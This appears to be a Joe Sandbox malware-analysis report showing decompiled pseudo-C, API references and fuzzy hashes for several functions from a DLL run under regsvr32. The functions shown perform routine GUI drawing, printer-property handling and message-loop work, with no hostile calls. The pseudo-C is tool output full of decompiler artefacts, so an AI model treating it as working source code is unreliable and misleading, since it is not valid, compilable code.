Part of subcall function 6EB49E16: CreateSolidBrush.GDI32(?), ref: 6EB49E38

FrameRect.USER32 ref: 6EB47456
ColorHLSToRGB.SHLWAPI(00000000,?,00000000), ref: 6EB47523

Part of subcall function 6EB53F35: SetBkColor.GDI32(?,?), ref: 6EB53F59
Part of subcall function 6EB53F35: ExtTextOutA.GDI32(?,00000000,00000000,00000002,?,00000000,00000000,00000000), ref: 6EB53F6C

ColorRGBToHLS.SHLWAPI(?,?,?,00000000), ref: 6EB4755A
OffsetRect.USER32 ref: 6EB47602
InflateRect.USER32(?,00000001,00000001), ref: 6EB47640
FrameRect.USER32 ref: 6EB47675

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Rect$Color$FrameH_prolog3$BeginBrushClientCreateInflateOffsetPaintSolidText
String ID:
API String ID: 4136518526-0
Opcode ID: 9a2fb8e476c2fd64634f5bcd0c303a8fcf6020d3862decd8078ea3ccaf6e009b
Instruction ID: ea1be88c76f36fa851ce70a12abb9b91debe1c4263d46c89fa79e7dea2a04cea
Opcode Fuzzy Hash: 9a2fb8e476c2fd64634f5bcd0c303a8fcf6020d3862decd8078ea3ccaf6e009b
Instruction Fuzzy Hash: 7D9114715087809FC724CF69C584AABBBF9FBC9714F008E1DE59A83794DB74A844CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EB504A2 Relevance: 12.1, APIs: 8, Instructions: 66
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E6EB504A2(void* __ecx, char* _a4) {
				void* _v8;
				void* _t15;
				void* _t20;
				void* _t35;

				_push(__ecx);
				_t35 = __ecx;
				_t15 =  *(__ecx + 0x74);
				if(_t15 != 0) {
					_t15 = lstrcmpA(( *(GlobalLock(_t15) + 2) & 0x0000ffff) + _t16, _a4);
					if(_t15 == 0) {
						_t15 = OpenPrinterA(_a4,  &_v8, 0);
						if(_t15 != 0) {
							_t18 =  *(_t35 + 0x70);
							if( *(_t35 + 0x70) != 0) {
								E6EB543E1(_t18);
							}
							_t20 = GlobalAlloc(0x42, DocumentPropertiesA(0, _v8, _a4, 0, 0, 0));
							 *(_t35 + 0x70) = _t20;
							if(DocumentPropertiesA(0, _v8, _a4, GlobalLock(_t20), 0, 2) != 1) {
								E6EB543E1( *(_t35 + 0x70));
								 *(_t35 + 0x70) = 0;
							}
							_t15 = ClosePrinter(_v8);
						}
					}
				}
				return _t15;
			}

0x6eb504a7
0x6eb504a9
0x6eb504ab
0x6eb504b3
0x6eb504cd
0x6eb504d5
0x6eb504df
0x6eb504e6
0x6eb504e8
0x6eb504ed
0x6eb504f0
0x6eb504f0
0x6eb50507
0x6eb5050e
0x6eb50526
0x6eb5052b
0x6eb50530
0x6eb50530
0x6eb50536
0x6eb50536
0x6eb504e6
0x6eb5053b
0x6eb5053f

APIs

GlobalLock.KERNEL32 ref: 6EB504C1
lstrcmpA.KERNEL32(?,?,?,?,?,?,?,6EB4DB35,?), ref: 6EB504CD
OpenPrinterA.WINSPOOL.DRV(?,?,00000000,?,?,?,?,?,6EB4DB35,?), ref: 6EB504DF
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000,?,?,?,?,?,6EB4DB35,?), ref: 6EB504FF
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000,?,?,?,?), ref: 6EB50507
GlobalLock.KERNEL32 ref: 6EB50511
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002,?,?,?,?,?,6EB4DB35,?), ref: 6EB5051E
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002,?,?,?,?,?,6EB4DB35,?), ref: 6EB50536

Part of subcall function 6EB543E1: GlobalFlags.KERNEL32(?), ref: 6EB543F0
Part of subcall function 6EB543E1: GlobalUnlock.KERNEL32(?,?,6EB50530,?,00000000,?,?,00000000,00000000,00000002,?,?,?,?,?,6EB4DB35), ref: 6EB54402
Part of subcall function 6EB543E1: GlobalFree.KERNEL32 ref: 6EB5440D

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: 896abfdc9f26d3682490ef20b8d100f077d411e20f2cfe63ae408f56a9afeb96
Instruction ID: 2dcea6ef26b9a258f193c9101ae47f0145634775de0921d822dbde4cae965425
Opcode Fuzzy Hash: 896abfdc9f26d3682490ef20b8d100f077d411e20f2cfe63ae408f56a9afeb96
Instruction Fuzzy Hash: 3911CE72510A80BBDF225FB5DD88DAF7EBDEF897087000858FA11D2620DB31DA21D720

Uniqueness

Uniqueness Score: -1.00%

Function 6EB51E86 Relevance: 10.7, APIs: 7, Instructions: 242
memoryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E6EB51E86(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t136;
				int _t141;
				signed short _t144;
				short* _t145;
				intOrPtr _t149;
				signed short _t173;
				intOrPtr _t174;
				signed int _t175;
				intOrPtr _t180;
				struct tagRECT _t186;
				int _t187;
				signed short _t189;
				signed short _t190;
				void* _t191;
				void* _t217;
				intOrPtr _t221;
				short _t222;
				intOrPtr* _t229;
				signed short* _t231;
				signed int _t234;
				signed short* _t235;
				signed short* _t237;
				signed short* _t238;
				void* _t239;

				_push(0x9c);
				E6EB66564(0x6eb7789e, __ebx, __edi, __esi);
				_t229 =  *((intOrPtr*)(_t239 + 0x14));
				_t231 =  *(_t239 + 0x1c);
				 *((intOrPtr*)(_t239 - 0x3c)) =  *((intOrPtr*)(_t239 + 8));
				 *(_t239 - 0x50) =  *(_t239 + 0xc);
				 *((intOrPtr*)(_t239 - 0x44)) =  *((intOrPtr*)(_t239 + 0x24));
				_t136 = _t229 + 0x12;
				 *((intOrPtr*)(_t239 - 0x2c)) = _t136;
				if( *((intOrPtr*)(_t239 + 0x10)) != 0) {
					 *((intOrPtr*)(_t239 - 0x6c)) =  *((intOrPtr*)(_t229 + 8));
					 *((intOrPtr*)(_t239 - 0x68)) =  *((intOrPtr*)(_t229 + 4));
					 *((short*)(_t239 - 0x64)) =  *((intOrPtr*)(_t229 + 0xc));
					 *((short*)(_t239 - 0x62)) =  *((intOrPtr*)(_t229 + 0xe));
					 *((short*)(_t239 - 0x5e)) =  *_t136;
					_t221 = _t229 + 0x18;
					 *((short*)(_t239 - 0x60)) =  *(_t229 + 0x10);
					 *((short*)(_t239 - 0x5c)) =  *((intOrPtr*)(_t229 + 0x14));
					_t229 = _t239 - 0x6c;
					 *((intOrPtr*)(_t239 - 0x2c)) = _t221;
				}
				_t222 =  *((short*)(_t229 + 0xa));
				_t186 =  *((short*)(_t229 + 8));
				 *((intOrPtr*)(_t239 - 0x70)) =  *((short*)(_t229 + 0xe)) + _t222;
				 *(_t239 - 0x7c) = _t186;
				 *((intOrPtr*)(_t239 - 0x78)) = _t222;
				 *((intOrPtr*)(_t239 - 0x74)) =  *((short*)(_t229 + 0xc)) + _t186;
				_t141 = MapDialogRect( *( *((intOrPtr*)(_t239 - 0x3c)) + 0x20), _t239 - 0x7c);
				 *(_t239 - 0x34) =  *(_t239 - 0x34) & 0x00000000;
				if( *((intOrPtr*)(_t239 + 0x20)) >= 4) {
					_t190 =  *_t231;
					 *((intOrPtr*)(_t239 + 0x20)) =  *((intOrPtr*)(_t239 + 0x20)) - 4;
					_t231 =  &(_t231[2]);
					if(_t190 > 0) {
						__imp__#4(_t231, _t190);
						_t191 = _t190 + _t190;
						_t231 = _t231 + _t191;
						 *((intOrPtr*)(_t239 + 0x20)) =  *((intOrPtr*)(_t239 + 0x20)) - _t191;
						 *(_t239 - 0x34) = _t141;
					}
				}
				 *(_t239 - 0x38) =  *(_t239 - 0x38) & 0x00000000;
				E6EB413B0(_t239 - 0x30, _t222);
				 *((intOrPtr*)(_t239 - 4)) = 0;
				 *(_t239 - 0x4c) = 0;
				 *(_t239 - 0x48) = 0;
				 *(_t239 - 0x40) = 0;
				if( *((intOrPtr*)(_t239 + 0x18)) == 0x37a ||  *((intOrPtr*)(_t239 + 0x18)) == 0x37b) {
					_t144 =  *_t231;
					_t55 = _t144 - 0xc; // 0x36f
					_t222 = _t55;
					_t231 =  &(_t231[6]);
					 *(_t239 - 0x58) = _t144;
					 *((intOrPtr*)(_t239 - 0x28)) = _t222;
					if(_t222 <= 0) {
						L16:
						 *((intOrPtr*)(_t239 + 0x20)) =  *((intOrPtr*)(_t239 + 0x20)) - _t144;
						 *((intOrPtr*)(_t239 + 0x18)) =  *((intOrPtr*)(_t239 + 0x18)) + 0xfffc;
						goto L17;
					} else {
						goto L8;
					}
					do {
						L8:
						_t173 =  *_t231;
						 *((intOrPtr*)(_t239 - 0x28)) =  *((intOrPtr*)(_t239 - 0x28)) - 6;
						_t235 =  &(_t231[2]);
						_t189 =  *_t235 & 0x0000ffff;
						_t231 =  &(_t235[1]);
						 *(_t239 - 0x54) = _t173;
						if(_t173 != 0x80010001) {
							_t174 = E6EB47C96(__eflags, 0x1c);
							 *((intOrPtr*)(_t239 - 0x80)) = _t174;
							 *((char*)(_t239 - 4)) = 1;
							__eflags = _t174;
							if(_t174 == 0) {
								_t175 = 0;
								__eflags = 0;
							} else {
								_t175 = E6EB59ECE(_t174,  *(_t239 - 0x38),  *(_t239 - 0x54), _t189);
							}
							 *((char*)(_t239 - 4)) = 0;
							 *(_t239 - 0x38) = _t175;
						} else {
							_t237 =  &(_t231[2]);
							 *(_t239 - 0x48) =  *_t231;
							_t238 =  &(_t237[6]);
							 *(_t239 - 0x40) =  *_t237;
							E6EB47B20(_t222, _t229, _t238);
							_t180 =  *((intOrPtr*)( *((intOrPtr*)(_t239 - 0x30)) - 0xc));
							_t217 = 0xffffffef;
							 *((intOrPtr*)(_t239 - 0x28)) =  *((intOrPtr*)(_t239 - 0x28)) + _t217 - _t180;
							_t231 = _t238 + _t180 + 1;
							 *(_t239 - 0x4c) = _t189 & 0x0000ffff;
						}
					} while ( *((intOrPtr*)(_t239 - 0x28)) > 0);
					_t144 =  *(_t239 - 0x58);
					goto L16;
				} else {
					L17:
					_t145 =  *((intOrPtr*)(_t239 - 0x2c));
					_t252 =  *_t145 - 0x7b;
					_push(_t239 - 0x20);
					_push(_t145);
					if( *_t145 != 0x7b) {
						__imp__CLSIDFromProgID();
					} else {
						__imp__CLSIDFromString();
					}
					_t187 = 0;
					_push(0);
					_push( *((intOrPtr*)(_t239 + 0x20)));
					_push(_t231);
					 *((intOrPtr*)(_t239 - 0x2c)) = _t145;
					E6EB5FB54(0, _t239 - 0xa8, _t229, _t231, _t252);
					asm("sbb esi, esi");
					_t234 =  ~( *((intOrPtr*)(_t239 + 0x18)) - 0x00000378 & 0x0000ffff) & _t239 - 0x000000a8;
					_t253 =  *((intOrPtr*)(_t239 - 0x2c));
					 *((char*)(_t239 - 4)) = 2;
					 *((intOrPtr*)(_t239 - 0x24)) = 0;
					if( *((intOrPtr*)(_t239 - 0x2c)) >= 0) {
						_push(1);
						if(E6EB57C95(0,  *((intOrPtr*)(_t239 - 0x3c)), _t229, _t234, _t253) != 0 && E6EB5823B( *((intOrPtr*)( *((intOrPtr*)(_t239 - 0x3c)) + 0x4c)), 0, _t239 - 0x20, 0,  *_t229, _t239 - 0x7c,  *(_t229 + 0x10) & 0x0000ffff, _t234, 0 |  *((intOrPtr*)(_t239 + 0x18)) == 0x00000377,  *(_t239 - 0x34), _t239 - 0x24) != 0) {
							E6EB5940B( *((intOrPtr*)(_t239 - 0x24)), 1);
							SetWindowPos( *( *((intOrPtr*)(_t239 - 0x24)) + 0x24),  *(_t239 - 0x50), 0, 0, 0, 0, 0x13);
							 *( *((intOrPtr*)(_t239 - 0x24)) + 0x94) =  *(_t239 - 0x38);
							E6EB48694(0,  *((intOrPtr*)(_t239 - 0x24)) + 0xa4, _t239 - 0x30);
							 *((short*)( *((intOrPtr*)(_t239 - 0x24)) + 0x98)) =  *(_t239 - 0x4c);
							 *( *((intOrPtr*)(_t239 - 0x24)) + 0x9c) =  *(_t239 - 0x48);
							 *( *((intOrPtr*)(_t239 - 0x24)) + 0xa0) =  *(_t239 - 0x40);
						}
					}
					if( *(_t239 - 0x34) != _t187) {
						__imp__#6( *(_t239 - 0x34));
					}
					_t149 =  *((intOrPtr*)(_t239 - 0x24));
					if(_t149 == _t187) {
						 *((intOrPtr*)( *((intOrPtr*)(_t239 - 0x44)))) = _t187;
					} else {
						 *((intOrPtr*)( *((intOrPtr*)(_t239 - 0x44)))) =  *((intOrPtr*)(_t149 + 0x24));
						_t187 = 1;
					}
					 *((char*)(_t239 - 4)) = 0;
					E6EB5FEC2(_t187, _t239 - 0xa8, _t222, _t229, _t234, 1);
					L6EB41020( *((intOrPtr*)(_t239 - 0x30)) + 0xfffffff0, _t222);
					return E6EB665E7(_t187, _t229, _t234);
				}
			}

0x6eb51e86
0x6eb51e90
0x6eb51e9c
0x6eb51e9f
0x6eb51ea2
0x6eb51ea8
0x6eb51eae
0x6eb51eb1
0x6eb51eb4
0x6eb51eb7
0x6eb51ebf
0x6eb51ec5
0x6eb51ecc
0x6eb51ed6
0x6eb51ede
0x6eb51ee6
0x6eb51ee9
0x6eb51eed
0x6eb51ef1
0x6eb51ef4
0x6eb51ef4
0x6eb51ef7
0x6eb51eff
0x6eb51f09
0x6eb51f18
0x6eb51f1b
0x6eb51f1e
0x6eb51f21
0x6eb51f27
0x6eb51f2f
0x6eb51f31
0x6eb51f33
0x6eb51f37
0x6eb51f3c
0x6eb51f40
0x6eb51f46
0x6eb51f48
0x6eb51f4a
0x6eb51f4d
0x6eb51f4d
0x6eb51f3c
0x6eb51f50
0x6eb51f57
0x6eb51f63
0x6eb51f66
0x6eb51f69
0x6eb51f6c
0x6eb51f73
0x6eb51f80
0x6eb51f82
0x6eb51f82
0x6eb51f85
0x6eb51f88
0x6eb51f8b
0x6eb51f90
0x6eb52016
0x6eb52016
0x6eb52019
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb51f96
0x6eb51f96
0x6eb51f96
0x6eb51f98
0x6eb51f9c
0x6eb51f9f
0x6eb51fa3
0x6eb51fa4
0x6eb51fac
0x6eb51fe3
0x6eb51fe9
0x6eb51fec
0x6eb51ff0
0x6eb51ff2
0x6eb52004
0x6eb52004
0x6eb51ff4
0x6eb51ffd
0x6eb51ffd
0x6eb52006
0x6eb5200a
0x6eb51fae
0x6eb51fb0
0x6eb51fb3
0x6eb51fb8
0x6eb51fbf
0x6eb51fc2
0x6eb51fca
0x6eb51fcf
0x6eb51fd2
0x6eb51fd5
0x6eb51fdc
0x6eb51fdc
0x6eb5200d
0x6eb52013
0x00000000
0x6eb52020
0x6eb52020
0x6eb52020
0x6eb52023
0x6eb5202a
0x6eb5202b
0x6eb5202c
0x6eb52036
0x6eb5202e
0x6eb5202e
0x6eb5202e
0x6eb5203c
0x6eb5203e
0x6eb5203f
0x6eb52048
0x6eb52049
0x6eb5204c
0x6eb52062
0x6eb5206a
0x6eb5206c
0x6eb5206f
0x6eb52073
0x6eb52076
0x6eb5207f
0x6eb52088
0x6eb520ca
0x6eb520de
0x6eb520ea
0x6eb520fd
0x6eb52109
0x6eb52116
0x6eb52122
0x6eb52122
0x6eb52088
0x6eb5212b
0x6eb52130
0x6eb52130
0x6eb52136
0x6eb5213b
0x6eb5216f
0x6eb5213d
0x6eb52145
0x6eb52147
0x6eb52147
0x6eb5214e
0x6eb52152
0x6eb5215d
0x6eb52169
0x6eb52169

APIs

__EH_prolog3_GS.LIBCMT ref: 6EB51E90
MapDialogRect.USER32(?,?), ref: 6EB51F21
SysAllocStringLen.OLEAUT32(?,?), ref: 6EB51F40
CLSIDFromString.OLE32(?,00000004), ref: 6EB5202E

Part of subcall function 6EB47C96: _malloc.LIBCMT ref: 6EB47CB4

CLSIDFromProgID.OLE32(?,00000004), ref: 6EB52036
SetWindowPos.USER32(?,?,00000000,00000000,00000000,00000000,00000013,00000001,00000000,00000004,00000000,?,?,00000000,?,00000000), ref: 6EB520DE
SysFreeString.OLEAUT32(00000000), ref: 6EB52130

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: String$From$AllocDialogFreeH_prolog3_ProgRectWindow_malloc
String ID:
API String ID: 2980224915-0
Opcode ID: 6ae321ef587832523dfdc854ac7bc2d4504e973e34295bde764628fbd1a1ae1d
Instruction ID: 17d70f7826d17673e6d5bae8ae77c09ae2840d29ff9c55dafccc45fc609cda1d
Opcode Fuzzy Hash: 6ae321ef587832523dfdc854ac7bc2d4504e973e34295bde764628fbd1a1ae1d
Instruction Fuzzy Hash: 4CA112B1D10259EFDB14CFE8C994AEDBBB4FF08304F24452AE859A7380E734A954CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4C2EA Relevance: 10.6, APIs: 7, Instructions: 117
windowCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E6EB4C2EA(intOrPtr* __ecx, signed int _a4) {
				int _v8;
				int _v12;
				int _v16;
				struct tagMSG* _v20;
				struct HWND__* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t48;
				struct tagMSG* _t49;
				signed int _t51;
				void* _t54;
				void* _t56;
				int _t59;
				long _t62;
				signed int _t66;
				void* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;

				_t70 = __ecx;
				_t74 = __ecx;
				_v16 = 1;
				_v12 = 0;
				if((_a4 & 0x00000004) == 0) {
					L2:
					_v8 = 0;
					L3:
					_t48 = GetParent( *(_t74 + 0x20));
					 *(_t74 + 0x3c) =  *(_t74 + 0x3c) | 0x00000018;
					_v24 = _t48;
					_t49 = E6EB522DA(_t76);
					_t69 = UpdateWindow;
					_v20 = _t49;
					while(1) {
						_t77 = _v16;
						if(_v16 == 0) {
							goto L15;
						}
						while(1) {
							L15:
							_t51 = E6EB52726(_t70, 0, _t74, _t77);
							if(_t51 == 0) {
								break;
							}
							if(_v8 != 0) {
								_t59 = _v20->message;
								if(_t59 == 0x118 || _t59 == 0x104) {
									E6EB4F6CB(_t74, 1);
									UpdateWindow( *(_t74 + 0x20));
									_v8 = 0;
								}
							}
							_t71 = _t74;
							_t54 =  *((intOrPtr*)( *_t74 + 0x88))();
							_t82 = _t54;
							if(_t54 == 0) {
								_t45 = _t74 + 0x3c;
								 *_t45 =  *(_t74 + 0x3c) & 0xffffffe7;
								__eflags =  *_t45;
								return  *((intOrPtr*)(_t74 + 0x44));
							} else {
								_push(_v20);
								_t56 = E6EB52629(_t69, _t71, 0, _t74, _t82);
								_pop(_t70);
								if(_t56 != 0) {
									_v16 = 1;
									_v12 = 0;
								}
								if(PeekMessageA(_v20, 0, 0, 0, 0) == 0) {
									while(1) {
										_t77 = _v16;
										if(_v16 == 0) {
											goto L15;
										}
										goto L4;
									}
								}
								continue;
							}
						}
						_push(0);
						E6EB50397();
						return _t51 | 0xffffffff;
						L4:
						__eflags = PeekMessageA(_v20, 0, 0, 0, 0);
						if(__eflags != 0) {
							goto L15;
						} else {
							__eflags = _v8;
							if(_v8 != 0) {
								_t70 = _t74;
								E6EB4F6CB(_t74, 1);
								UpdateWindow( *(_t74 + 0x20));
								_v8 = 0;
							}
							__eflags = _a4 & 0x00000001;
							if((_a4 & 0x00000001) == 0) {
								__eflags = _v24;
								if(_v24 != 0) {
									__eflags = _v12;
									if(_v12 == 0) {
										SendMessageA(_v24, 0x121, 0,  *(_t74 + 0x20));
									}
								}
							}
							__eflags = _a4 & 0x00000002;
							if(__eflags != 0) {
								L13:
								_v16 = 0;
								continue;
							} else {
								_t62 = SendMessageA( *(_t74 + 0x20), 0x36a, 0, _v12);
								_v12 = _v12 + 1;
								__eflags = _t62;
								if(__eflags != 0) {
									continue;
								}
								goto L13;
							}
						}
					}
				}
				_t66 = E6EB4F5C9(__ecx);
				_v8 = 1;
				_t76 = _t66 & 0x10000000;
				if((_t66 & 0x10000000) == 0) {
					goto L3;
				}
				goto L2;
			}

0x6eb4c2ea
0x6eb4c2fe
0x6eb4c300
0x6eb4c303
0x6eb4c306
0x6eb4c317
0x6eb4c317
0x6eb4c31a
0x6eb4c31d
0x6eb4c323
0x6eb4c327
0x6eb4c32a
0x6eb4c32f
0x6eb4c335
0x6eb4c3a5
0x6eb4c3a5
0x6eb4c3a8
0x00000000
0x00000000
0x6eb4c3aa
0x6eb4c3aa
0x6eb4c3aa
0x6eb4c3b1
0x00000000
0x00000000
0x6eb4c3b6
0x6eb4c3bb
0x6eb4c3c3
0x6eb4c3d0
0x6eb4c3d8
0x6eb4c3da
0x6eb4c3da
0x6eb4c3c3
0x6eb4c3df
0x6eb4c3e1
0x6eb4c3e7
0x6eb4c3e9
0x6eb4c420
0x6eb4c420
0x6eb4c420
0x00000000
0x6eb4c3eb
0x6eb4c3eb
0x6eb4c3ee
0x6eb4c3f3
0x6eb4c3f6
0x6eb4c3f8
0x6eb4c3ff
0x6eb4c3ff
0x6eb4c411
0x6eb4c3a5
0x6eb4c3a5
0x6eb4c3a8
0x00000000
0x00000000
0x00000000
0x6eb4c3a8
0x6eb4c3a5
0x00000000
0x6eb4c411
0x6eb4c3e9
0x6eb4c415
0x6eb4c416
0x00000000
0x6eb4c33a
0x6eb4c347
0x6eb4c349
0x00000000
0x6eb4c34b
0x6eb4c34b
0x6eb4c34e
0x6eb4c352
0x6eb4c354
0x6eb4c35c
0x6eb4c35e
0x6eb4c35e
0x6eb4c361
0x6eb4c365
0x6eb4c367
0x6eb4c36a
0x6eb4c36c
0x6eb4c36f
0x6eb4c37d
0x6eb4c37d
0x6eb4c36f
0x6eb4c36a
0x6eb4c383
0x6eb4c387
0x6eb4c3a2
0x6eb4c3a2
0x00000000
0x6eb4c389
0x6eb4c395
0x6eb4c39b
0x6eb4c39e
0x6eb4c3a0
0x00000000
0x00000000
0x00000000
0x6eb4c3a0
0x6eb4c387
0x6eb4c349
0x6eb4c3a5
0x6eb4c308
0x6eb4c30d
0x6eb4c310
0x6eb4c315
0x00000000
0x00000000
0x00000000

APIs

GetParent.USER32(?), ref: 6EB4C31D
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 6EB4C341
UpdateWindow.USER32(?), ref: 6EB4C35C
SendMessageA.USER32 ref: 6EB4C37D
SendMessageA.USER32 ref: 6EB4C395
UpdateWindow.USER32(?), ref: 6EB4C3D8
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 6EB4C409

Part of subcall function 6EB4F5C9: GetWindowLongA.USER32 ref: 6EB4F5D4

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: 6d8d3d8c61644cd5523d04c3d80366e3abd4f8e6b6d7529a04c96169ac6a6077
Instruction ID: 0f107d27c54626ad4c3a5a2877fa9be020d0ee598654e6c75111475f0f8ef218
Opcode Fuzzy Hash: 6d8d3d8c61644cd5523d04c3d80366e3abd4f8e6b6d7529a04c96169ac6a6077
Instruction Fuzzy Hash: 8D41C430900A89EBEF21CFE6CA44E9EBFB4FF81B44F10446DE455AA1A8D7718944EF10

Uniqueness

Uniqueness Score: -1.00%

Function 6EB46B40 Relevance: 10.6, APIs: 7, Instructions: 106
windowCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6EB46B40(long __ecx, void* __esi) {
				char _v12;
				signed int _v16;
				intOrPtr _v44;
				short _v58;
				short _v60;
				short _v62;
				short _v64;
				short _v66;
				short _v68;
				short _v70;
				void _v72;
				intOrPtr _v76;
				signed int _v80;
				intOrPtr _v88;
				struct tagLOGBRUSH _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				int _v112;
				char _v116;
				void* __ebx;
				void* __edi;
				signed int _t38;
				signed int _t40;
				void* _t57;
				void* _t64;
				long _t84;
				void* _t86;
				void* _t87;
				void* _t88;
				signed int _t89;

				_t87 = __esi;
				_push(0xffffffff);
				_push(0x6eb787a8);
				_push( *[fs:0x0]);
				_t89 = _t88 - 0x2c;
				_t38 =  *0x6eb89470; // 0x6287ae78
				_v16 = _t38 ^ _t89;
				_t40 =  *0x6eb89470; // 0x6287ae78
				_push(_t40 ^ _t89);
				 *[fs:0x0] =  &_v12;
				_t84 = __ecx;
				 *((intOrPtr*)(__esi + 0x54)) = __ecx;
				 *((intOrPtr*)(__esi + 0x5c)) = ColorAdjustLuma(__ecx, 0x1f4, 1);
				 *((intOrPtr*)(__esi + 0x60)) = ColorAdjustLuma(_t84, 0xffffff2e, 1);
				 *((intOrPtr*)(__esi + 0x58)) = ColorAdjustLuma(_t84, 0xfffffeb3, 1);
				 *((intOrPtr*)(__esi + 0x64)) = ColorAdjustLuma(_t84, 0xfffffe0c, 1);
				if( *((intOrPtr*)(__esi + 0x6c)) != 0) {
					E6EB49CA7(__esi + 0x68);
				}
				E6EB49C4F(0, _t87 + 0x68, _t84, CreateSolidBrush(_t84));
				_v72 = 0x55;
				_v70 = 0xaa;
				_v68 = 0x55;
				_v66 = 0xaa;
				_v64 = 0x55;
				_v62 = 0xaa;
				_v60 = 0x55;
				_v58 = 0xaa;
				_v88 = 0;
				_v100.lbHatch = 0x6eb79d00;
				_t82 =  &_v72;
				_v44 = 0;
				E6EB49C4F(0,  &_v112, 0x6eb79d00, CreateBitmap(8, 8, 1, 1,  &_v72));
				_v108 = 3;
				_v100.lbStyle = _v112;
				_v104 = 0;
				if( *((intOrPtr*)(_t87 + 0x74)) != 0) {
					E6EB49CA7(_t87 + 0x70);
				}
				E6EB49C4F(0, _t87 + 0x70, 0x6eb79d00, CreateBrushIndirect( &_v100));
				_v68 = 0xffffffff;
				_v116 = 0x6eb79d00;
				_t57 = L6EB41070( &_v116, _t82);
				 *[fs:0x0] = _v76;
				_pop(_t86);
				_pop(_t64);
				return E6EB63DE0(_t57, _t64, _v80 ^ _t89, _t82, _t86, _t87);
			}

0x6eb46b40
0x6eb46b40
0x6eb46b42
0x6eb46b4d
0x6eb46b4e
0x6eb46b51
0x6eb46b58
0x6eb46b5e
0x6eb46b65
0x6eb46b6a
0x6eb46b70
0x6eb46b80
0x6eb46b8d
0x6eb46b9a
0x6eb46ba7
0x6eb46bae
0x6eb46bb4
0x6eb46bb9
0x6eb46bb9
0x6eb46bc9
0x6eb46bda
0x6eb46be1
0x6eb46be8
0x6eb46bef
0x6eb46bf6
0x6eb46c02
0x6eb46c07
0x6eb46c0c
0x6eb46c11
0x6eb46c15
0x6eb46c19
0x6eb46c26
0x6eb46c35
0x6eb46c3e
0x6eb46c46
0x6eb46c4a
0x6eb46c51
0x6eb46c56
0x6eb46c56
0x6eb46c6a
0x6eb46c6f
0x6eb46c7b
0x6eb46c7f
0x6eb46c88
0x6eb46c90
0x6eb46c91
0x6eb46ca0

APIs

ColorAdjustLuma.SHLWAPI(005B5BE3,000001F4,00000001), ref: 6EB46B83
